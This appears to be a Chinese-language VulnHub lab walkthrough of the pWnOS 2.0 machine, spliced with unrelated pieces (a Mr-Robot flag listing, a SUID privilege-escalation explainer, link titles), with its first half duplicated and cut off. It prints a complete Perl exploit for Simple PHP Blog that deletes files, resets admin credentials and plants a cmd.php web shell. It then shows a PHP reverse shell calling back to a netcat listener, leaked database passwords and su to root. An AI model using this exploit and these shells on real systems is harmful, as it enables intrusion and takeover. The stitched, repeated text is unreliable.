-rw-r--r-- 1 root root 0 Nov 13 2015 firstboot_done
-r-------- 1 root root 33 Nov 13 2015 key-3-of-3.txt
-rw-r--r-- 1 root root 140 Feb 20 2014 .profile
-rw------- 1 root root 1024 Sep 16 2015 .rnd
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。但是SUID权限的设置只针对二进制可执行文件,对于非可执行文件设置SUID没有任何意义.
在执行过程中,调用者会暂时获得该文件的所有者权限,且该权限只在程序执行的过程中有效. 通俗的来讲,假设我们现在有一个可执行文件ls
,其属主为root,当我们通过非root用户登录时,如果ls
设置了SUID权限,我们可在非root用户下运行该二进制可执行文件,在执行文件时,该进程的权限将为root权限.
利用此特性,我们可通过SUID进行提权
在了解SUID提权以前 我们简单看一下如何设置SUID权限
chmod u+s filename 设置SUID位
chmod u-s filename 去掉SUID设置
ls -al
查看文件权限
chmod u+s binexec
執行結果如下圖:
可以看到binexec
文件的权限描述符由-rwxr-xr-x
变为-rwsr-xr-x
。
VulnHub通关日记-Mr-Robot-1-Nmap提权获取Flag - 腾讯云开发者社区-腾讯云
Vulnhub MR-ROBOT: 1 靶机渗透 - FreeBuf网络安全行业门户
VulnHub实战靶场Mr-Robot
VulnHub - Mr-Robot: 1破解 - CodeAntenna
vulnhub渗透测试之Mr-Robot - miraitowa666 - 博客园
PEASS-ng/linPEAS at master · carlospolop/PEASS-ng · GitHub
PEASS-ng Windows/linux/unix*/macOS提权工具 - 🔰雨苁ℒ🔰
简谈SUID提权 - FreeBuf网络安全行业门户
hydra爆破wordpress密码
網頁目錄爆破(gobuster) → CMS弱點(Simple PHP Blog) → 上傳圖片漏洞getshell → sql組態洩漏
在啟動靶機後,需要在攻擊機輸入此指令,才能連的到靶機。不過要注意,如果攻擊機是vmware虛擬機,要先備份.vmx
檔,如果之後攻擊機無法上網際網路,換回備份的檔案再重新建虛擬機即可。
sudo ifconfig eth0 10.10.10.101 up
在Vulnhub上,已知靶機IP固定為10.10.10.100
。
└─$ nmap -sP 10.10.10.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-26 06:19 EST
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 10.10.10.100
Host is up (0.0046s latency).
Nmap scan report for 10.10.10.101
Host is up (0.00083s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 16.60 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 10.10.10.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-26 06:20 EST
Nmap scan report for 10.10.10.100
Host is up (0.00088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
| 2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_ 256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Welcome to this Site!
|_http-server-header: Apache/2.2.17 (Ubuntu)
MAC Address: 00:0C:29:90:98:5E (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.88 ms 10.10.10.100
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
有開80 port,開網頁看看:
一如既往地nikto目錄爆破:
┌──(kali㉿kali)-[~]
└─$ nikto -h http://10.10.10.100
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.100
+ Target Hostname: 10.10.10.100
+ Target Port: 80
+ Start Time: 2022-11-27 01:29:37 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Ubuntu)
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.3.5-1ubuntu7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.php
+ Apache/2.2.17 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ OSVDB-12184: /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F36-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-12184: /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings.
+ OSVDB-3268: /includes/: Directory indexing found.
+ OSVDB-3092: /includes/: This might be interesting...
+ /info/: Output from the phpinfo() function was found.
+ OSVDB-3092: /info/: This might be interesting...
+ OSVDB-3092: /login/: This might be interesting...
+ OSVDB-3092: /register/: This might be interesting...
+ /info.php: Output from the phpinfo() function was found.
+ OSVDB-3233: /info.php: PHP is installed, and a test script which runs phpinfo() was found. This gives a lot of system information.
+ OSVDB-3268: /icons/: Directory indexing found.
+ Server may leak inodes via ETags, header found with file /icons/README, inode: 1311031, size: 5108, mtime: Tue Aug 28 06:48:10 2007
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-5292: /info.php?file=http://cirt.net/rfiinc.txt?: RFI from RSnake's list (http://ha.ckers.org/weird/rfi-locations.dat) or from http://osvdb.org/
+ /login.php: Admin login page/section found.
+ 8673 requests: 0 error(s) and 26 item(s) reported on remote host
+ End Time: 2022-11-27 01:29:56 (GMT-5) (19 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
這裡是另一個目錄爆破的工具gobuster,除了指定IP以外,還可搭配字典檔跟掃特定副檔名,整理出來比nikto清新。
┌──(kali㉿kali)-[/usr/share/wordlists/dirbuster]
└─$ gobuster dir -u http://10.10.10.100 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,bak,old,zip,gz,conf,cnf,js
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.100
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: php,txt,bak,js,old,zip,gz,conf,cnf
[+] Timeout: 10s
===============================================================
2022/11/27 02:23:16 Starting gobuster in directory enumeration mode
===============================================================
/index (Status: 200) [Size: 854]
/index.php (Status: 200) [Size: 854]
/blog (Status: 301) [Size: 311] [--> http://10.10.10.100/blog/]
/login (Status: 200) [Size: 1174]
/login.php (Status: 200) [Size: 1174]
/register.php (Status: 200) [Size: 1562]
/register (Status: 200) [Size: 1562]
/info.php (Status: 200) [Size: 49885]
/info (Status: 200) [Size: 49873]
/includes (Status: 301) [Size: 315] [--> http://10.10.10.100/includes/]
/activate (Status: 302) [Size: 0] [--> http://10.10.10.100/index.php]
/activate.php (Status: 302) [Size: 0] [--> http://10.10.10.100/index.php]
/server-status (Status: 403) [Size: 293]
Progress: 2204026 / 2205610 (99.93%)===============================================================
2022/11/27 02:31:11 Finished
===============================================================
從上面結果,知道有一個名叫blog的目錄,輸入網址進去看。如果blog是用某個現成的CMS,可能會有相對應的攻擊腳本。
檢視原始碼紅圈處,可以看出簡稱是sphpblog。
┌──(kali㉿kali)-[~]
└─$ searchsploit sphpblog
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
Simple PHP Blog (SPHPBlog) 0.5.1 - Code Ex | php/webapps/6311.php
Simple PHP Blog (sPHPblog) 0.5.1 - Multipl | php/webapps/4557.txt
SPHPBlog 0.4 - 'search.php' Cross-Site Scr | php/webapps/25423.txt
Sphpblog 0.8 - Multiple Cross-Site Scripti | php/webapps/29051.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
利用簡稱去找,結果不多,但是知道了全稱:Simple PHP Blog,用全稱再搜一次:
┌──(kali㉿kali)-[~/target-machine/pWnOSv2.0]
└─$ searchsploit Simple PHP Blog
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
Insanely Simple Blog 0.4/0.5 - 'index.php' | php/webapps/30317.txt
Insanely Simple Blog 0.4/0.5 - Cross-Site | php/webapps/30318.txt
Insanely Simple Blog 0.5 - SQL Injection | php/webapps/5774.txt
Simple Blog PHP 2.0 - Multiple Vulnerabili | php/webapps/40518.txt
Simple Blog PHP 2.0 - SQL Injection | php/webapps/40519.txt
Simple PHP Blog (SPHPBlog) 0.5.1 - Code Ex | php/webapps/6311.php
Simple PHP Blog (sPHPblog) 0.5.1 - Multipl | php/webapps/4557.txt
Simple PHP Blog 0.4 - 'colors.php' Multipl | cgi/webapps/26463.txt
Simple PHP Blog 0.4 - 'preview_cgi.php' Mu | cgi/webapps/26461.txt
Simple PHP Blog 0.4 - 'preview_static_cgi. | cgi/webapps/26462.txt
Simple PHP Blog 0.4.0 - Multiple Remote s | php/webapps/1191.pl
Simple PHP Blog 0.4.0 - Remote Command Exe | php/webapps/16883.rb
Simple PHP Blog 0.4.7.1 - Remote Command E | php/webapps/1581.pl
Simple PHP Blog 0.5.1 - Local File Inclusi | php/webapps/10604.pl
Simple PHP Blog 0.5.x - 'search.php' Cross | php/webapps/33507.txt
Simple PHP Blog 0.8.4 - Cross-Site Request | php/webapps/40475.txt
SimpleBlog 2.0 - 'comments.asp' SQL Inject | php/webapps/2232.pl
SimpleBlog 3.0 - Database Disclosure | php/webapps/7232.txt
Super Simple Blog Script 2.5.4 - 'entry' S | php/webapps/9180.txt
Super Simple Blog Script 2.5.4 - Local Fil | php/webapps/9179.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
可是不知道版本,再仔細檢查原始碼,可以發現是屬於0.4.0
所以是1191跟16883這兩個可以用,不過第二個是rb檔,大概要配著metasploit用。先挑第一個用用看。
└─$ cat 1191.pl
#!/usr/bin/perl -w
#===============================================================================
# Title: sphpblog_vulns.pl
#
# Written by: Kenneth F. Belva, CISSP
# Franklin Technologies Unlimited, Inc.
# http://www.ftusecurity.com
#
# Date: August 25, 2005
#
# Version: 0.1
#
# Description: This program is for educational purposes only!
# SimplePHPBlog as a few vulnerability which this
# perl script demonstrates via an exploit.
#
# Instructions: Should be self-explanatory via the .pl help menu
#
# Solutions:
# *** Solution 1
# Change the line in comment_delete_cgi.php from
# $logged_in = logged_in( false, true ); to
# $logged_in = logged_in( true, true );
#
# *** Solution 2
# Place an .htaccess file with the following config in
# the ./config directory:
#
#
# #---------------------
# #Snip .htaccess start
# #---------------------
# IndexIgnore *
#
# <Files .htaccess>
# order allow,deny
# deny from all
# </Files>
#
# <Files *.txt>
# order allow,deny
# deny from all
# </Files>
# #---------------------
# #Snip .htaccess end
# #---------------------
#
#
# *** Solution 3
# See http://archives.neohapsis.com/archives/fulldisclosure/2005-08/0885.html
# for PHP modification to upload image script.
#===============================================================================
#-------------------------------------------------------------------------------
# Global Paramaters
#-------------------------------------------------------------------------------
use strict;
use warnings;
use vars qw/ %args /;
use Getopt::Std;
require LWP::UserAgent;
my $ua = LWP::UserAgent->new;
#-------------------------------------------------------------------------------
# Global Routines
#-------------------------------------------------------------------------------
#Determine Operating System
my $OperatingSystem = $^O;
my $unix = "";
#Set OS Parameter
if (index(lc($OperatingSystem),"win")!=-1){
$unix="0"; #windows system
}else{
$unix="1"; #unix system
}
#-------------------------------------------------------------------------------
# The Main Menu
#-------------------------------------------------------------------------------
sub menu()
{
if ($unix){system("clear");}
else{system("cls");}
print "
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Program : $0
Version : v0.1
Date : 8/25/2005
Descript: This perl script demonstrates a few flaws in
SimplePHPBlog.
Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO
NOT HAVE PERMISSION TO DO SO!
Please see this script comments for solution/fixes
to demonstrated vulnerabilities.
http://www.simplephpblog.com
Usage : $0 [-h host] [-e exploit]
-? : this menu
-h : host
-e : exploit
(1) : Upload cmd.php in [site]/images/
(2) : Retreive Password file (hash)
(3) : Set New User Name and Password
[NOTE - uppercase switches for exploits]
-U : user name
-P : password
(4) : Delete a System File
-F : Path and System File
Examples: $0 -h 127.0.0.1 -e 2
$0 -h 127.0.0.1 -e 3 -U l33t -P l33t
$0 -h 127.0.0.1 -e 4 -F ./index.php
$0 -h 127.0.0.1 -e 4 -F ../../../etc/passwd
$0 -h 127.0.0.1 -e 1
";
exit;
}
#-------------------------------------------------------------------------------
# Initial Routine
#-------------------------------------------------------------------------------
sub init()
{
use Switch;
# colon ':' after letter says that option takes variable
my $opt_string = 'e:U:P:h:F:?';
getopts( "$opt_string", \%args ) or menu();
#Load parameters
my $exploit = $args{e};
my $host = $args{h};
my $user = $args{U};
my $pass = $args{P};
my $file = $args{F};
# What shall we do today?
switch (%args) {
case "?" { menu();}
case "e" {
switch ($exploit) {
if ($unix){system("clear");}
else{system("cls");}
print "
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________";
# Upload cmd.php to /images
case "1" { print "\nRunning cmd.php Upload Exploit....\n\n";
&UploadCmdPHP($host);}
# Retrieve Username & Password hash
case "2" { print "\nRunning Username and Password Hash Retrieval Exploit....\n\n";
&RetrievePwd($host."/config/password.txt");}
# Replace Username and Password
case "3" { print "\nRunning Set New Username and Password Exploit....\n\n";
&SetUserPwd($host,$user,$pass);}
# Delete a System File
case "4" { print "\nRunning Delete System File Exploit....\n\n";
&DeleteFile($host . "/comment_delete_cgi.php?y=05&m=08&comment=",$file);}
} #end $exploit switch
print "\n\n\n*** Exploit Completed....\nHave a nice day! :)\n";
} #end "e" case
else { menu();}
} #end %args switch
} #end sub init
#-------------------------------------------------------------------------------
# Exploit #1: Upload File Via POST
#-------------------------------------------------------------------------------
sub UploadCmdPHP {
my($url) = @_;
use LWP;
use HTTP::Request::Common qw(POST);
my $ua = LWP::UserAgent->new;
$HTTP::Request::Common::DYNAMIC_FILE_UPLOAD++;
#Step 1: Retrieve hash
#-----------------------------------------------------------------------
my $hash = &RetrievePwd($url."/config/password.txt");
#Step 2: Delete Existing Password file (SetUserPwd)
#Step 3: Create a temporary user id and password (SetUserPwd)
#-----------------------------------------------------------------------
&SetUserPwd($url,"a","a");
#Step 4: Log into the app and get the PHPSession / my_id session variable
#-----------------------------------------------------------------------
my $SETcookie = &strip_session(&Login($url . "/login_cgi.php","a","a"));
#Step 5: Create and upload our scripts (cmd.php & reset.php)
#-----------------------------------------------------------------------
&CreateTempPHPs();
# Upload cmd.php
my $path = "./cmd.php";
my $file = "cmd.php";
my $req = POST($url."/upload_img_cgi.php",
Cookie => 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
Content_Type => 'form-data',
Content => [userfile => [$path,$file],],
);
my $response = $ua->request($req);
print "\nCreated cmd.php on target host: " . $url;
#$response->is_success or die "Failed to POST '$url': ", $response->status_line;
#return $response->as_string;
# Upload reset.php
$path = "./reset.php";
$file = "reset.php";
$req = POST($url."/upload_img_cgi.php",
Cookie => 'PHPSESSID='.$SETcookie.'; my_id='.$SETcookie,
Content_Type => 'form-data',
Content => [userfile => [$path,$file],],
);
$response = $ua->request($req);
print "\nCreated reset.php on target host: " . $url;
#$response->is_success or die "Failed to POST '$url': ", $response->status_line;
#return $response->as_string;
#Remove local PHP files
&RemoveTempPHPs();
#Step 6: Reset origional Passwpord
#-----------------------------------------------------------------------
&ResetHash($url."/images/reset.php",$hash);
#Step 7: Pass command to delete reset.php (clean up)
#-----------------------------------------------------------------------
&DeleteFile($url . "/comment_delete_cgi.php?y=05&m=08&comment=","./images/reset.php");
print "\nRemoved reset.php from target host: " . $url;
print "\n\nTo run command please go to following link: \n\t" . $url."/images/cmd.php?cmd=[your command]";
}
#-------------------------------------------------------------------------------
# Exploit #2: Retrieve Password File
#-------------------------------------------------------------------------------
sub RetrievePwd {
my($url) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = GET($url);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
my $hash = $response->content;
print "\nRetrieved Username and Password Hash: " . $hash;
return $hash
}
#-------------------------------------------------------------------------------
# Exploit #3: Set New Username and Password
#-------------------------------------------------------------------------------
sub SetUserPwd{
my($url,$user,$pass) = @_;
&DeleteFile($url . "/comment_delete_cgi.php?y=05&m=08&comment=", "./config/password.txt");
&ResetPwd($url . "/install03_cgi.php?blog_language=english",$user,$pass);
}
#-------------------------------------------------------------------------------
# POST to Reset Username and Password (must delete password file first)
#-------------------------------------------------------------------------------
sub ResetPwd {
my($url,$user,$pass) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = POST($url,
[ user => $user,
pass => $pass,
submit => '%C2%A0Submit%C2%A0'
]
);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\n./config/password.txt created!";
print "\nUsername is set to: ".$user;
print "\nPassword is set to: ".$pass;
}
#-------------------------------------------------------------------------------
# Exploit #4: Delete Password File
#-------------------------------------------------------------------------------
sub DeleteFile {
my($url,$file) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = GET($url.$file);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\nDeleted File: ".$file;
}
#-------------------------------------------------------------------------------
# log into site
#-------------------------------------------------------------------------------
sub Login {
my($url,$user,$pass) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = POST($url,
[ user => $user,
pass => $pass,
submit => '%C2%A0Submit%C2%A0'
]
);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\nLogged into SimplePHPBlog at: ".$url;
print "\nCurrent Username '".$user."' and Password '".$pass."'...";
return $response->header('Set-Cookie');
}
#-------------------------------------------------------------------------------
# POST the hash
#-------------------------------------------------------------------------------
sub ResetHash {
my($url,$hash) = @_;
use LWP;
use HTTP::Request::Common;
my $ua = LWP::UserAgent->new;
my $req = POST($url,
[ hash => $hash]
);
my $response = $ua->request($req);
$response->is_success or die "Failed to POST '$url': ", $response->status_line;
print "\nReset Hash at: ".$url;
print "\nReset Hash value: ".$hash;
}
#------------------------------------------------------
# Create Temp PHP files
#------------------------------------------------------
sub CreateTempPHPs{
my($hash) = @_;
open(PHPFILE, ">./cmd.php");
print PHPFILE &CreateCmdPHP();
close PHPFILE;
print "\nCreated cmd.php on your local machine.";
open(PHPFILE, ">./reset.php");
print PHPFILE &CreateResetPHP();
close PHPFILE;
print "\nCreated reset.php on your local machine.";
}
#------------------------------------------------------
# Remove Temp PHP files
#------------------------------------------------------
sub RemoveTempPHPs{
unlink("./cmd.php");
print "\nRemoved cmd.php from your local machine.";
unlink("./reset.php");
print "\nRemoved reset.php from your local machine.";
}
#------------------------------------------------------
# strip_session - Get PHP Session Variable
#------------------------------------------------------
sub strip_session {
my($savedata) = @_;
my $PHPstring = "PHPSESSID";
my $semi = "\;";
my $datalength = length($savedata);
my $PHPstart= (index $savedata, $PHPstring)+10;
my $PHPend = index $savedata,$semi,$PHPstart;
my $PHPsession= substr $savedata, $PHPstart, ($PHPend-$PHPstart);
return $PHPsession;
}
sub CreateCmdPHP(){
return "
<?php
\$cmd = \$_GET[\'cmd\'];
echo \'<hr/><pre>\';
echo \'Command: \' . \$cmd;
echo '</pre><hr/><br>';
echo '<pre>';
\$last_line = system(\$cmd,\$output);
echo \'</pre><hr/>\';
?>.
"; # end
}
sub CreateResetPHP(){
return "
<?php
\$hash = \$_POST[\'hash\'];
\$fp = fopen(\"../config/password.txt\",\"w\");
fwrite(\$fp,\$hash);
fpclose(\$fp);
?>
"; #end return
}
#------------------------------------------------------
# Begin Routines
#------------------------------------------------------
init();
# milw0rm.com [2005-09-01]
上面落落長,但重點是這支攻擊腳本的使用說明:
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Program : $0
Version : v0.1
Date : 8/25/2005
Descript: This perl script demonstrates a few flaws in
SimplePHPBlog.
Comments: THIS PoC IS FOR EDUCATIONAL PURPOSES ONLY...
DO NOT RUN THIS AGAINST SYSTEMS TO WHICH YOU DO
NOT HAVE PERMISSION TO DO SO!
Please see this script comments for solution/fixes
to demonstrated vulnerabilities.
http://www.simplephpblog.com
Usage : $0 [-h host] [-e exploit]
-? : this menu
-h : host
-e : exploit
(1) : Upload cmd.php in [site]/images/
(2) : Retreive Password file (hash)
(3) : Set New User Name and Password
[NOTE - uppercase switches for exploits]
-U : user name
-P : password
(4) : Delete a System File
-F : Path and System File
Examples: $0 -h 127.0.0.1 -e 2
$0 -h 127.0.0.1 -e 3 -U l33t -P l33t
$0 -h 127.0.0.1 -e 4 -F ./index.php
$0 -h 127.0.0.1 -e 4 -F ../../../etc/passwd
$0 -h 127.0.0.1 -e 1
先使用第三個,創建新帳號看看。這裡創建帳密都是admin的帳號:
┌──(kali㉿kali)-[~]
└─$ perl 1191.pl -h http://10.10.10.100/blog -e 3 -U admin -P admin
________________________________________________________________________________
SimplePHPBlog v0.4.0 Exploits
by
Kenneth F. Belva, CISSP
http://www.ftusecurity.com
________________________________________________________________________________
Running Set New Username and Password Exploit....
Deleted File: ./config/password.txt
./config/password.txt created!
Username is set to: admin
Password is set to: admin
*** Exploit Completed....
Have a nice day! :)
┌──(kali㉿kali)-[~]
└─$
到登入頁面試試:
登入成功:
有一個可以上傳圖片的,試試看能不能上傳reverse shell:
但上傳前要先編輯一下:
┌──(kali㉿kali)-[~]
└─$ sudo vim /usr/share/webshells/php/php-reverse-shell.php
[sudo] password for kali:
紅圈處IP改成攻擊機IP,下一行port是1234,要記一下:
上傳頁面
到目錄(怎麼知道這目錄的?),的確可以看到剛剛上傳的檔案:
先在攻擊機監聽1234 port,再去點剛剛上傳的檔案,即可get shell:
┌──(kali㉿kali)-[~]
└─$ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.10.101] from (UNKNOWN) [10.10.10.100] 59016
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
14:27:57 up 1:05, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@web:/$
翻找可提權的資訊,比如資料庫帳密,sudo -l
之類可以用root權限編輯什麼重要檔案之類。
ToDo: 常見sql設定檔在哪?
www-data@web:/$ ls
ls
bin dev home lib lost+found mnt proc sbin srv tmp var
boot etc initrd.img lib64 media opt root selinux sys usr vmlinuz
www-data@web:/$ pwd
pwd
/
www-data@web:/$ cd /var
cd /var
www-data@web:/var$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
www-data@web:/var$ cd www
cd www
www-data@web:/var/www$ ls
ls
activate.php includes info.php mysqli_connect.php
blog index.php login.php register.php
www-data@web:/var/www$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'goodday');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
上面/var/www
資料夾裡的mysqli_connect裡面的帳密是錯誤的,/var
資料夾裡的mysqli_connect裡面的帳密才是正確的:
www-data@web:/var/www$ cd ..
cd ..
www-data@web:/var$ ls
ls
backups crash lib lock mail opt spool uploads
cache index.html local log mysqli_connect.php run tmp www
www-data@web:/var$ cat mysqli_connect.php
cat mysqli_connect.php
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
利用root帳密登入:
www-data@web:/var$ cd
cd
bash: cd: HOME not set
www-data@web:/var$ su -
su -
Password: root@ISIntS
root@web:~# ls
ls
root@web:~# ls -al
ls -al
total 32
drwx------ 4 root root 4096 2011-05-09 19:25 .
drwxr-xr-x 21 root root 4096 2011-05-07 13:37 ..
drwx------ 2 root root 4096 2011-05-07 15:12 .aptitude
-rw-r--r-- 1 root root 107 2011-05-09 19:29 .bash_history
-rw-r--r-- 1 root root 3106 2010-10-21 08:47 .bashrc
drwx------ 2 root root 4096 2011-05-07 17:18 .cache
-rw-r--r-- 1 root root 0 2011-05-09 19:24 .mysql_history
-rw-r--r-- 1 root root 140 2010-10-21 08:47 .profile
-rw------- 1 root root 837 2011-05-09 19:16 .viminfo
root@web:~# whoami
whoami
root
網頁目錄爆破(gobuster) → CMS弱點(Simple PHP Blog) → 上傳圖片漏洞getshell → sql組態洩漏
在啟動靶機後,需要在攻擊機輸入此指令,才能連的到靶機。不過要注意,如果攻擊機是vmware虛擬機,要先備份.vmx
檔,如果之後攻擊機無法上網際網路,換回備份的檔案再重新建虛擬機即可。
sudo ifconfig eth0 10.10.10.101 up
在Vulnhub上,已知靶機IP固定為10.10.10.100
。
└─$ nmap -sP 10.10.10.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-26 06:19 EST
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
RTTVAR has grown to over 2.3 seconds, decreasing to 2.0
Nmap scan report for 10.10.10.100
Host is up (0.0046s latency).
Nmap scan report for 10.10.10.101
Host is up (0.00083s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 16.60 seconds
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -sV -T4 -A -p- 10.10.10.100
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-26 06:20 EST
Nmap scan report for 10.10.10.100
Host is up (0.00088s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
| 2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_ 256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open http Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-title: Welcome to this Site!
|_http-server-header: Apache/2.2.17 (Ubuntu)
MAC Address: 00:0C:29:90:98:5E (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.88 ms 10.10.10.100
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.38 seconds
有開80 port,開網頁看看:
一如既往地nikto目錄爆破:
┌──(kali㉿kali)-[~]
└─$ nikto -h http://10.10.10.100
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.100
+ Target Hostname: 10.10.10.100
+ Target Port: 80
+ Start Time: 2022-11-27 01:29:37 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.2.17 (Ubuntu)
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.3.5-1ubuntu7
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
